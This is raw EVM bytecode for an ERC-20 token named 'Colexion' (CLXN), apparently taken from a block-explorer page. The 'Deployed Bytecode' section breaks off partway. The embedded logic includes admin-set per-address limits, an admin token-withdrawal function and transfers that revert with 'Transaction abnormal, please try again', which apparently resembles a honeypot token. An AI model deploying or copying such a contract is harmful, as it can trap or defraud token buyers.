ffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040a919062000ebd565b60405180910390a3620004255f83836200051960201b60201c565b5050565b6200043b82826200051e60201b60201c565b620005105760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004b56200058160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620005e982620005a1565b810181811067ffffffffffffffff821117156200060b576200060a620005b1565b5b80604052505050565b5f6200061f62000588565b90506200062d8282620005de565b919050565b5f67ffffffffffffffff8211156200064f576200064e620005b1565b5b6200065a82620005a1565b9050602081019050919050565b5f5b838110156200068657808201518184015260208101905062000669565b5f8484015250505050565b5f620006a7620006a18462000632565b62000614565b905082815260208101848484011115620006c657620006c56200059d565b5b620006d384828562000667565b509392505050565b5f82601f830112620006f257620006f162000599565b5b81516200070484826020860162000691565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000738826200070d565b9050919050565b6200074a816200072c565b811462000755575f80fd5b50565b5f8151905062000768816200073f565b92915050565b5f819050919050565b62000782816200076e565b81146200078d575f80fd5b50565b5f81519050620007a08162000777565b92915050565b5f805f8060808587031215620007c157620007c062000591565b5b5f85015167ffffffffffffffff811115620007e157620007e062000595565b5b620007ef87828801620006db565b9450506020620008028782880162000758565b935050604085015167ffffffffffffffff81111562000826576200082562000595565b5b6200083487828801620006db565b9250506060620008478782880162000790565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008a257607f821691505b602082108103620008b857620008b76200085d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200091c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008df565b620009288683620008df565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000969620009636200095d846200076e565b62000940565b6200076e565b9050919050565b5f819050919050565b620009848362000949565b6200099c620009938262000970565b848454620008eb565b825550505050565b5f90565b620009b2620009a4565b620009bf81848462000979565b505050565b5b81811015620009e657620009da5f82620009a8565b600181019050620009c5565b5050565b601f82111562000a3557620009ff81620008be565b62000a0a84620008d0565b8101602085101562000a1a578190505b62000a3262000a2985620008d0565b830182620009c4565b50505b505050565b5f82821c905092915050565b5f62000a575f198460080262000a3a565b1980831691505092915050565b5f62000a71838362000a46565b9150826002028217905092915050565b62000a8c8262000853565b67ffffffffffffffff81111562000aa85762000aa7620005b1565b5b62000ab482546200088a565b62000ac1828285620009ea565b5f60209050601f83116001811462000af7575f841562000ae2578287015190505b62000aee858262000a64565b86555062000b5d565b601f19841662000b0786620008be565b5f5b8281101562000b305784890151825560018201915060208501945060208101905062000b09565b8683101562000b50578489015162000b4c601f89168262000a46565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000bef5780860481111562000bc75762000bc662000b65565b5b600185161562000bd75780820291505b808102905062000be78562000b92565b945062000ba7565b94509492505050565b5f8262000c09576001905062000cdb565b8162000c18575f905062000cdb565b816001811462000c31576002811462000c3c5762000c72565b600191505062000cdb565b60ff84111562000c515762000c5062000b65565b5b8360020a91508482111562000c6b5762000c6a62000b65565b5b5062000cdb565b5060208310610133831016604e8410600b841016171562000cac5782820a90508381111562000ca65762000ca562000b65565b5b62000cdb565b62000cbb848484600162000b9e565b9250905081840481111562000cd55762000cd462000b65565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000cfa826200076e565b915062000d078362000ce2565b925062000d367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bf8565b905092915050565b5f62000d4a826200076e565b915062000d57836200076e565b925082820262000d67816200076e565b9150828204841483151762000d815762000d8062000b65565b5b5092915050565b5f6020828403121562000da05762000d9f62000591565b5b5f62000daf8482850162000758565b91505092915050565b62000dc3816200072c565b82525050565b5f60408201905062000dde5f83018562000db8565b62000ded602083018462000db8565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000e3a601f8362000df4565b915062000e478262000e04565b602082019050919050565b5f6020820190508181035f83015262000e6b8162000e2c565b9050919050565b5f62000e7e826200076e565b915062000e8b836200076e565b925082820190508082111562000ea65762000ea562000b65565b5b92915050565b62000eb7816200076e565b82525050565b5f60208201905062000ed25f83018462000eac565b92915050565b61308c8062000ee65f395ff3fe608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc57806397f951f111610095578063bbc9f7841161006f578063bbc9f784146104ab578063ce63623b146104c7578063d547741f146104f7578063dd62ed3e1461051357610171565b806397f951f11461041b578063a457c2d71461044b578063a9059cbb1461047b57610171565b806339509351146103335780636fc1630d1461036357806370a0823114610381578063757dba02146103b157806391d14854146103cd57806395d89b41146103fd57610171565b806326e4180e1161012e57806326e4180e1461025f5780632a0acc6a1461028f5780632f2ff15d146102ad578063313ce567146102c957806333f3d628146102e757806336568abe1461031757610171565b806306fdde0314610175578063095ea7b314610193578063175c4ef8146101c357806318160ddd146101e157806323b872dd146101ff578063248a9ca31461022f575b5f80fd5b61017d610543565b60405161018a9190611ffb565b60405180910390f35b6101ad60048036038101906101a891906120b9565b6105d3565b6040516101ba9190612111565b60405180910390f35b6101cb6105f0565b6040516101d89190612142565b60405180910390f35b6101e9610614565b6040516101f6919061216a565b60405180910390f35b61021960048036038101906102149190612183565b61061d565b6040516102269190612111565b60405180910390f35b610249600480360381019061024491906121fd565b61070f565b6040516102569190612142565b60405180910390f35b61027960048036038101906102749190612228565b61072b565b6040516102869190612111565b60405180910390f35b610297610748565b6040516102a49190612142565b60405180910390f35b6102c760048036038101906102c29190612253565b61074e565b005b6102d1610771565b6040516102de91906122ac565b60405180910390f35b61030160048036038101906102fc91906120b9565b610779565b60405161030e9190612111565b60405180910390f35b610331600480360381019061032c9190612253565b610812565b005b61034d600480360381019061034891906120b9565b6108aa565b60405161035a9190612111565b60405180910390f35b61036b610951565b604051610378919061216a565b60405180910390f35b61039b60048036038101906103969190612228565b610957565b6040516103a8919061216a565b60405180910390f35b6103cb60048036038101906103c691906123f1565b61099d565b005b6103e760048036038101906103e29190612253565b610a4f565b6040516103f49190612111565b60405180910390f35b610405610ab2565b6040516104129190611ffb565b60405180910390f35b61043560048036038101906104309190612253565b610b42565b604051610442919061216a565b60405180910390f35b610465600480360381019061046091906120b9565b610bb7565b6040516104729190612111565b60405180910390f35b610495600480360381019061049091906120b9565b610c9d565b6040516104a29190612111565b60405180910390f35b6104c560048036038101906104c0919061245d565b610cba565b005b6104e160048036038101906104dc9190612253565b610d3c565b6040516104ee919061216a565b60405180910390f35b610511600480360381019061050c9190612253565b610db0565b005b61052d6004803603810190610528919061249b565b610dd3565b60405161053a919061216a565b60405180910390f35b60606007805461055290612506565b80601f016020809104026020016040519081016040528092919081815260200182805461057e90612506565b80156105c95780601f106105a0576101008083540402835291602001916105c9565b820191905f5260205f20905b8154815290600101906020018083116105ac57829003601f168201915b5050505050905090565b5f6105e66105df610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062984848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610670610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906125a6565b60405180910390fd5b610703856106fb610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f801b6107628161075d610e55565b61109d565b61076c8383611139565b505050565b5f6012905090565b5f805f1b61078e81610789610e55565b61109d565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107c99291906125d3565b6020604051808303815f875af11580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190612624565b91505092915050565b5f801b61082681610821610e55565b61109d565b61082e610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610892906126bf565b60405180910390fd5b6108a58383611213565b505050565b5f6109476108b6610e55565b848460055f6108c3610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610942919061270a565b610e5c565b6001905092915050565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109b1816109ac610e55565b61109d565b5f806109bc846112ed565b80925081935050505f151581151503610a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a01906127ad565b60405180910390fd5b5f8210610a3b57610a368686610a31670de0b6b3a7640000866113fe90919063ffffffff16565b611413565b610a47565b610a4686865f611413565b5b505050505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610ac190612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610aed90612506565b8015610b385780601f10610b0f57610100808354040283529160200191610b38565b820191905f5260205f20905b815481529060010190602001808311610b1b57829003601f168201915b5050505050905090565b5f610baf670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f8060055f610bc4610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c759061283b565b60405180910390fd5b610c92610c89610e55565b85858403610e5c565b600191505092915050565b5f610cb0610ca9610e55565b848461101f565b6001905092915050565b5f801b610cce81610cc9610e55565b61109d565b7f54524144455200000000000000000000000000000000000000000000000000008314610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d27906128a3565b60405180910390fd5b81600281905550505050565b5f610da8670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f801b610dc481610dbf610e55565b61109d565b610dce8383611213565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611012919061216a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b6110a78282610a4f565b611135576110cc8173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110d9835f1c6020611580565b6040516020016110ea929190612b39565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9190611ffb565b60405180910390fd5b5050565b6111438282610a4f565b61120f5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111b4610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61121d8282610a4f565b156112e9575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061128e610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b83518110156113f0575f60308583815181106113105761130f612b72565b5b602001015160f81c60f81b60f81c6113289190612b9f565b60ff16108061136657506009603085838151811061134957611348612b72565b5b602001015160f81c60f81b60f81c6113619190612b9f565b60ff16115b15611377575f8092509250506113f9565b60018185516113869190612bd3565b6113909190612bd3565b600a61139c9190612d35565b60308583815181106113b1576113b0612b72565b5b602001015160f81c60f81b60f81c6113c99190612b9f565b60ff166113d69190612d7f565b836113e1919061270a565b925080806001019150506112f1565b50816001915091505b915091565b5f818361140b9190612d7f565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f818361147a9190612ded565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612d7f565b61159c919061270a565b67ffffffffffffffff8111156115b5576115b46122cd565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612d7f565b6116c9919061270a565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612b72565b5b1a60f81b82828151811061172257611721612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f545241444552000000000000000000000000000000000000000000000000000084611139565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361195d576119077f545241444552000000000000000000000000000000000000000000000000000083611139565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61196883838361196d565b505050565b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610d3c565b611b1d9190612d7f565b90505f811115611b65575f82670de0b6b3a7640000611b3c8888610b42565b611b469190612d7f565b611b50919061270a565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d81919061270a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de5919061216a565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610d3c565b611e249190612d7f565b905060636002541115611e86575f611e45838361146d90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fa8578082015181840152602081019050611f8d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fcd82611f71565b611fd78185611f7b565b9350611fe7818560208601611f8b565b611ff081611fb3565b840191505092915050565b5f6020820190508181035f8301526120138184611fc3565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120558261202c565b9050919050565b6120658161204b565b811461206f575f80fd5b50565b5f813590506120808161205c565b92915050565b5f819050919050565b61209881612086565b81146120a2575f80fd5b50565b5f813590506120b38161208f565b92915050565b5f80604083850312156120cf576120ce612024565b5b5f6120dc85828601612072565b92505060206120ed858286016120a5565b9150509250929050565b5f8115159050919050565b61210b816120f7565b82525050565b5f6020820190506121245f830184612102565b92915050565b5f819050919050565b61213c8161212a565b82525050565b5f6020820190506121555f830184612133565b92915050565b61216481612086565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612024565b5b5f6121a786828701612072565b93505060206121b886828701612072565b92505060406121c9868287016120a5565b9150509250925092565b6121dc8161212a565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612024565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612024565b5b5f61224a84828501612072565b91505092915050565b5f806040838503121561226957612268612024565b5b5f612276858286016121e9565b925050602061228785828601612072565b9150509250929050565b5f60ff82169050919050565b6122a681612291565b82525050565b5f6020820190506122bf5f83018461229d565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61230382611fb3565b810181811067ffffffffffffffff82111715612322576123216122cd565b5b80604052505050565b5f61233461201b565b905061234082826122fa565b919050565b5f67ffffffffffffffff82111561235f5761235e6122cd565b5b61236882611fb3565b9050602081019050919050565b828183375f83830152505050565b5f61239561239084612345565b61232b565b9050828152602081018484840111156123b1576123b06122c9565b5b6123bc848285612375565b509392505050565b5f82601f8301126123d8576123d76122c5565b5b81356123e8848260208601612383565b91505092915050565b5f805f6060848603121561240857612407612024565b5b5f612415868287016121e9565b935050602061242686828701612072565b925050604084013567ffffffffffffffff81111561244757612446612028565b5b612453868287016123c4565b9150509250925092565b5f806040838503121561247357612472612024565b5b5f612480858286016121e9565b9250506020612491858286016120a5565b9150509250929050565b5f80604083850312156124b1576124b0612024565b5b5f6124be85828601612072565b92505060206124cf85828601612072565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611f7b565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b6125cd8161204b565b82525050565b5f6040820190506125e65f8301856125c4565b6125f3602083018461215b565b9392505050565b612603816120f7565b811461260d575f80fd5b50565b5f8151905061261e816125fa565b92915050565b5f6020828403121561263957612638612024565b5b5f61264684828501612610565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6126a9602f83611f7b565b91506126b48261264f565b604082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61271482612086565b915061271f83612086565b9250828201905080821115612737576127366126dd565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612797602383611f7b565b91506127a28261273d565b604082019050919050565b5f6020820190508181035f8301526127c48161278b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612825602583611f7b565b9150612830826127cb565b604082019050919050565b5f6020820190508181035f83015261285281612819565b9050919050565b7f6565666e756d206973206e6f742061206e756d626572000000000000000000005f82015250565b5f61288d601683611f7b565b915061289882612859565b602082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611f7b565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611f7b565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611f7b565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612aa9601783612a6b565b9150612ab482612a75565b601782019050919050565b5f612ac982611f71565b612ad38185612a6b565b9350612ae3818560208601611f8b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b23601183612a6b565b9150612b2e82612aef565b601182019050919050565b5f612b4382612a9d565b9150612b4f8285612abf565b9150612b5a82612b17565b9150612b668284612abf565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612ba982612291565b9150612bb483612291565b9250828203905060ff811115612bcd57612bcc6126dd565b5b92915050565b5f612bdd82612086565b9150612be883612086565b9250828203905081811115612c0057612bff6126dd565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612c5b57808604811115612c3757612c366126dd565b5b6001851615612c465780820291505b8081029050612c5485612c06565b9450612c1b565b94509492505050565b5f82612c735760019050612d2e565b81612c80575f9050612d2e565b8160018114612c965760028114612ca057612ccf565b6001915050612d2e565b60ff841115612cb257612cb16126dd565b5b8360020a915084821115612cc957612cc86126dd565b5b50612d2e565b5060208310610133831016604e8410600b8410161715612d045782820a905083811115612cff57612cfe6126dd565b5b612d2e565b612d118484846001612c12565b92509050818404811115612d2857612d276126dd565b5b81810290505b9392505050565b5f612d3f82612086565b9150612d4a83612086565b9250612d777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c64565b905092915050565b5f612d8982612086565b9150612d9483612086565b9250828202612da281612086565b91508282048414831517612db957612db86126dd565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612df782612086565b9150612e0283612086565b925082612e1257612e11612dc0565b5b828204905092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611f7b565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611f7b565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382612086565b91505f8203612f5557612f546126dd565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611f7b565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611f7b565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220b402ced97f5734f8d85088d57ade290be0f8c2a2aed146726e498cbd974879c764736f6c634300081700330000000000000000000000000000000000000000000000000000000000000080000000000000000000000000f1d78968efb7b880288d17bb707ea9cf1524583b00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000008436f6c6578696f6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004434c584e00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc57806397f951f111610095578063bbc9f7841161006f578063bbc9f784146104ab578063ce63623b146104c7578063d547741f146104f7578063dd62ed3e1461051357610171565b806397f951f11461041b578063a457c2d71461044b578063a9059cbb1461047b57610171565b806339509351146103335780636fc1630d1461036357806370a0823114610381578063757dba02146103b157806391d14854146103cd57806395d89b41146103fd57610171565b806326e4180e1161012e57806326e4180e1461025f5780632a0acc6a1461028f5780632f2ff15d146102ad578063313ce567146102c957806333f3d628146102e757806336568abe1461031757610171565b806306fdde0314610175578063095ea7b314610193578063175c4ef8146101c357806318160ddd146101e157806323b872dd146101ff578063248a9ca31461022f575b5f80fd5b61017d610543565b60405161018a9190611ffb565b60405180910390f35b6101ad60048036038101906101a891906120b9565b6105d3565b6040516101ba9190612111565b60405180910390f35b6101cb6105f0565b6040516101d89190612142565b60405180910390f35b6101e9610614565b6040516101f6919061216a565b60405180910390f35b61021960048036038101906102149190612183565b61061d565b6040516102269190612111565b60405180910390f35b610249600480360381019061024491906121fd565b61070f565b6040516102569190612142565b60405180910390f35b61027960048036038101906102749190612228565b61072b565b6040516102869190612111565b60405180910390f35b610297610748565b6040516102a49190612142565b60405180910390f35b6102c760048036038101906102c29190612253565b61074e565b005b6102d1610771565b6040516102de91906122ac565b60405180910390f35b61030160048036038101906102fc91906120b9565b610779565b60405161030e9190612111565b60405180910390f35b610331600480360381019061032c9190612253565b610812565b005b61034d600480360381019061034891906120b9565b6108aa565b60405161035a9190612111565b60405180910390f35b61036b610951565b604051610378919061216a565b60405180910390f35b61039b60048036038101906103969190612228565b610957565b6040516103a8919061216a565b60405180910390f35b6103cb6004803603